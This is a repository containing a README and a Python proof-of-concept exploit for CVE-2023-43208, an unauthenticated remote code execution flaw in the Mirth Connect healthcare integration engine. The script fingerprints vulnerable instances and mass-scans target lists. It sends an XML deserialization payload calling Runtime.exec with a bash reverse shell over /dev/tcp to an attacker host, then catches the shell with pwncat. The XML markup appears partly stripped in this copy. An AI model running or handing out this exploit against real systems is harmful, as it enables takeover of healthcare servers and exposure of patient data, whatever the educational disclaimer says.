├── requirements.txt ├── README.md └── CVE-2023-43208.py /requirements.txt: -------------------------------------------------------------------------------- 1 | alive_progress==3.1.4 2 | packaging==24.0 3 | pwncat-cs==0.5.4 4 | requests==2.31.0 5 | rich==13.7.1 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-43208 - Mirth Connect Remote Code Execution (RCE) Exploit 🚨 2 | 3 | ## Introduction 📖 4 | 5 | This repository contains a Proof-of-Concept (PoC) exploit for a critical vulnerability in NextGen Healthcare Mirth Connect versions prior to 4.4.1. The vulnerability, tracked as CVE-2023-43208, allows for unauthenticated remote code execution (RCE) on systems running the vulnerable software versions. 6 | 7 | Mirth Connect, an open-source healthcare integration engine, failed to properly handle deserialized data, making it susceptible to arbitrary OS command execution through specially crafted HTTP requests. The vulnerability was discovered following an incomplete patch for CVE-2023-37679, initially addressed by IHTeam. Subsequent research by Horizon3.ai revealed a bypass to the deny list implemented in the original patch, leading to the identification of CVE-2023-43208. This exploit module has been successfully tested against Mirth Connect versions 4.1.1, 4.3.0, and 4.4.0. 8 | 9 | ## Disclaimer ⚠️ 10 | 11 | The provided Proof-of-Concept (PoC) and exploit code is for educational and research purposes only. Unauthorized testing and misuse of this PoC exploit against systems without explicit consent is illegal and strictly prohibited. The author assumes no responsibility for any misuse or damage caused by this tool. 12 | 13 | By using this exploit, you agree to use it in an ethical and legal manner. Testing should only be performed on systems where explicit permission has been given. 14 | 15 | ## Prerequisites 🛠️ 16 | 17 | - Python 3.10 or higher 18 | - `requests` Python library 19 | - `pwncat-cs` Python library 20 | - `rich` Python library 21 | 22 | ## Usage 💻 23 | 24 | To use the exploit, clone this repository and navigate to the project directory. You can then run the exploit script as follows: 25 | 26 | ```bash 27 | pip install -r requirements.txt 28 | python3 CVE-2023-43208.py -u -lh -lp 29 | ``` 30 | 31 | Optional arguments include: 32 | 33 | - `-f/--file` to specify a file containing target URLs for batch scanning. 34 | - `-o/--output` to specify an output file for saving scan results. 35 | - `-t/--threads` to set the number of threads for concurrent scanning. 36 | 37 | ## Features ✨ 38 | 39 | - Single target exploitation 40 | - Batch scanning and exploitation from a file 41 | - Customizable listening host and port for reverse shell connection 42 | - Multi-threaded scanning capability 43 | - Detailed console output with rich formatting 44 | 45 | ## Contribution 🤝 46 | 47 | Contributions, feature requests, and suggestions are welcome! Please feel free to open issues or submit pull requests. 48 | 49 | ## Acknowledgments 🙏 50 | 51 | - Original vulnerability discovery: IHTeam 52 | - Patch analysis and CVE-2023-43208 discovery: Horizon3.ai 53 | 54 | -------------------------------------------------------------------------------- /CVE-2023-43208.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | import socket 4 | import argparse 5 | import requests 6 | import threading 7 | import pwncat.manager 8 | 9 | from packaging import version 10 | from rich.console import Console 11 | from alive_progress import alive_bar 12 | from concurrent.futures import ThreadPoolExecutor, as_completed 13 | 14 | requests.packages.urllib3.disable_warnings( 15 | requests.packages.urllib3.exceptions.InsecureRequestWarning 16 | ) 17 | 18 | 19 | class MirthConnectExploit: 20 | def __init__(self): 21 | self.console = Console() 22 | self.execution_process = "/api/users" 23 | self.grab_version = "/api/server/version" 24 | self.headers = { 25 | "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0", 26 | "X-Requested-With": "OpenAPI", 27 | "Content-Type": "application/xml", 28 | } 29 | self.output_file = None 30 | 31 | def custom_print(self, message: str, header: str) -> None: 32 | header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"} 33 | self.console.print( 34 | f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}" 35 | ) 36 | 37 | def ascii_art(self): 38 | art_texts = [ 39 | " ██████ ██ ██ ███████ ██████ ██████ ██████ ██████ ██ ██ ██████ ██████ ██████ █████", 40 | "██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██", 41 | "██ ██ ██ █████ █████ █████ ██ ██ ██ █████ █████ █████ ███████ █████ █████ ██ ██ ██ █████", 42 | "██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██", 43 | " ██████ ████ ███████ ███████ ██████ ███████ ██████ ██ ██████ ███████ ██████ █████", 44 | ] 45 | print() 46 | for text in art_texts: 47 | self.custom_print(f"[bold bright_green]{text}[/bold bright_green]", "*") 48 | print() 49 | self.custom_print( 50 | "Coded By: K3ysTr0K3R and Chocapikk ( NSA, we're still waiting :D )", "+" 51 | ) 52 | print() 53 | 54 | def start_listener(self, timeout=10) -> None: 55 | with socket.create_server(("0.0.0.0", int(self.rshell_port))) as listener: 56 | listener.settimeout(timeout) 57 | self.custom_print( 58 | f"Waiting for incoming connection on port {self.rshell_port}...", "*" 59 | ) 60 | 61 | try: 62 | victim, victim_addr = listener.accept() 63 | self.revshell_connected = True 64 | self.custom_print( 65 | f"Received connection from {victim_addr[0]}:{victim_addr[1]}", "+" 66 | ) 67 | 68 | with pwncat.manager.Manager() as manager: 69 | session = manager.create_session( 70 | platform="linux", protocol="socket", client=victim 71 | ) 72 | self.custom_print("Dropping to pwncat prompt...", "+") 73 | manager.interactive() 74 | except socket.timeout: 75 | self.custom_print( 76 | f"No reverse shell connection received within {timeout} seconds.", 77 | "-", 78 | ) 79 | 80 | def detect_mirth_connect(self, target): 81 | self.custom_print("Looking for Mirth Connect instance...", "*") 82 | try: 83 | response = requests.get(target, timeout=10, verify=False) 84 | if "Mirth Connect Administrator" in response.text: 85 | self.custom_print("Found Mirth Connect instance", "+") 86 | return True 87 | else: 88 | self.custom_print("Mirth Connect not found", "-") 89 | except requests.exceptions.RequestException as e: 90 | self.custom_print(f"Error while trying to connect to {target}: {e}", "-") 91 | return False 92 | 93 | def is_vulnerable_version(self, version_str): 94 | parsed_version = version.parse(version_str) 95 | if isinstance(parsed_version, version.Version): 96 | fixed_version = version.parse("4.4.1") 97 | if parsed_version < fixed_version: 98 | return version_str 99 | 100 | def detect_vuln(self, target): 101 | if self.detect_mirth_connect(target): 102 | try: 103 | response = requests.get( 104 | target + self.grab_version, 105 | headers=self.headers, 106 | timeout=10, 107 | verify=False, 108 | ) 109 | if response and self.is_vulnerable_version(response.text): 110 | self.custom_print( 111 | f"Vulnerable Mirth Connect version {response.text} instance found at {target}", 112 | "+", 113 | ) 114 | return True 115 | except requests.exceptions.RequestException as e: 116 | self.custom_print( 117 | f"Error fetching version information from {target}: {e}", "-" 118 | ) 119 | return False 120 | 121 | @staticmethod 122 | def build_xml_payload(command): 123 | command = command.replace("&", "&") 124 | command = command.replace("<", "<") 125 | command = command.replace(">", ">") 126 | command = command.replace('"', """) 127 | command = command.replace("'", "'") 128 | 129 | xml_data = f""" 130 | 131 | abcd 132 | 133 | java.lang.Comparable 134 | 135 | 136 | 137 | 138 | java.lang.Runtime 139 | 140 | 141 | getMethod 142 | 143 | java.lang.String 144 | [Ljava.lang.Class; 145 | 146 | 147 | getRuntime 148 | 149 | 150 | 151 | 152 | invoke 153 | 154 | java.lang.Object 155 | [Ljava.lang.Object; 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | exec 164 | 165 | java.lang.String 166 | 167 | 168 | {command} 169 | 170 | 171 | 172 | 173 | transform 174 | 175 | compareTo 176 | 177 | 178 | 179 | 180 | """ 181 | return xml_data 182 | 183 | def exploit(self, target, lhost, lport): 184 | if self.detect_vuln(target): 185 | command = f"sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/{lhost}/{lport};sh <&53 >&53 2>&53'" 186 | self.custom_print(command, "!") 187 | xml_data = self.build_xml_payload(command) 188 | try: 189 | self.custom_print(f"Launching exploit against {target}...", "*") 190 | try: 191 | response = requests.post( 192 | target + self.execution_process, 193 | headers=self.headers, 194 | data=xml_data, 195 | timeout=20, 196 | verify=False, 197 | ) 198 | except requests.exceptions.RequestException as e: 199 | self.custom_print(f"Exploit failed for {target}: {e}", "-") 200 | 201 | except requests.exceptions.RequestException: 202 | self.custom_print(f"Exploit failed for {target}", "-") 203 | 204 | def shell_opened(self, target, lhost, lport, bindport=None, timeout=10): 205 | self.rshell_port = bindport if bindport is not None else lport 206 | 207 | self.custom_print( 208 | f"Setting up listener on {lhost}:{self.rshell_port} and launching exploit...", 209 | "*", 210 | ) 211 | 212 | listener_thread = threading.Thread(target=self.start_listener, args=(timeout,)) 213 | listener_thread.start() 214 | time.sleep(1) 215 | 216 | self.exploit(target, lhost, lport) 217 | 218 | listener_thread.join() 219 | 220 | def scanner(self, target): 221 | try: 222 | response = requests.get( 223 | target + self.grab_version, 224 | headers=self.headers, 225 | timeout=10, 226 | verify=False, 227 | ) 228 | vuln_version = self.is_vulnerable_version(response.text) 229 | if vuln_version: 230 | self.custom_print( 231 | f"Vulnerability Detected | [bold bright_yellow]{target:<60}[/bold bright_yellow] | Server Version: [bold cyan]{vuln_version:<15}[/bold cyan]", 232 | "+", 233 | ) 234 | if self.output_file: 235 | with open(self.output_file, "a") as file: 236 | file.write(target + "\n") 237 | except requests.exceptions.RequestException: 238 | pass 239 | 240 | def scan_from_file(self, target_file, threads): 241 | if not os.path.exists(target_file): 242 | self.custom_print(f"File not found: {target_file}", "-") 243 | return 244 | 245 | with open(target_file, "r") as url_file: 246 | urls = [url.strip() for url in url_file.readlines()] 247 | if not urls: 248 | return 249 | 250 | with alive_bar( 251 | len(urls), title="Scanning Targets", bar="smooth", enrich_print=False 252 | ) as bar: 253 | with ThreadPoolExecutor(max_workers=threads) as executor: 254 | futures = [executor.submit(self.scanner, url) for url in urls] 255 | for future in as_completed(futures): 256 | bar() 257 | 258 | def run(self): 259 | parser = argparse.ArgumentParser( 260 | description="A PoC exploit for CVE-2023-43208 - Mirth Connect Remote Code Execution (RCE)" 261 | ) 262 | parser.add_argument("-u", "--url", help="Target URL to exploit") 263 | parser.add_argument("-lh", "--lhost", help="Listening host") 264 | parser.add_argument("-lp", "--lport", help="Listening port") 265 | parser.add_argument( 266 | "-bp", 267 | "--bindport", 268 | type=int, 269 | help="Port for the bind listener (useful with ngrok)", 270 | ) 271 | parser.add_argument("-f", "--file", help="File containing target URLs to scan") 272 | parser.add_argument( 273 | "-o", "--output", help="Output file for saving scan results" 274 | ) 275 | parser.add_argument( 276 | "-t", 277 | "--threads", 278 | default=50, 279 | type=int, 280 | help="Number of threads to use for scanning", 281 | ) 282 | args = parser.parse_args() 283 | 284 | self.output_file = args.output 285 | 286 | match (args.url, args.lhost, args.lport, args.file): 287 | case (url, lhost, lport, None) if url and lhost and lport: 288 | self.shell_opened(url, lhost, lport, args.bindport) 289 | case (None, None, None, file) if file: 290 | self.scan_from_file(file, args.threads) 291 | case _: 292 | parser.print_help() 293 | 294 | 295 | if __name__ == "__main__": 296 | exploit_tool = MirthConnectExploit() 297 | exploit_tool.ascii_art() 298 | exploit_tool.run() 299 | --------------------------------------------------------------------------------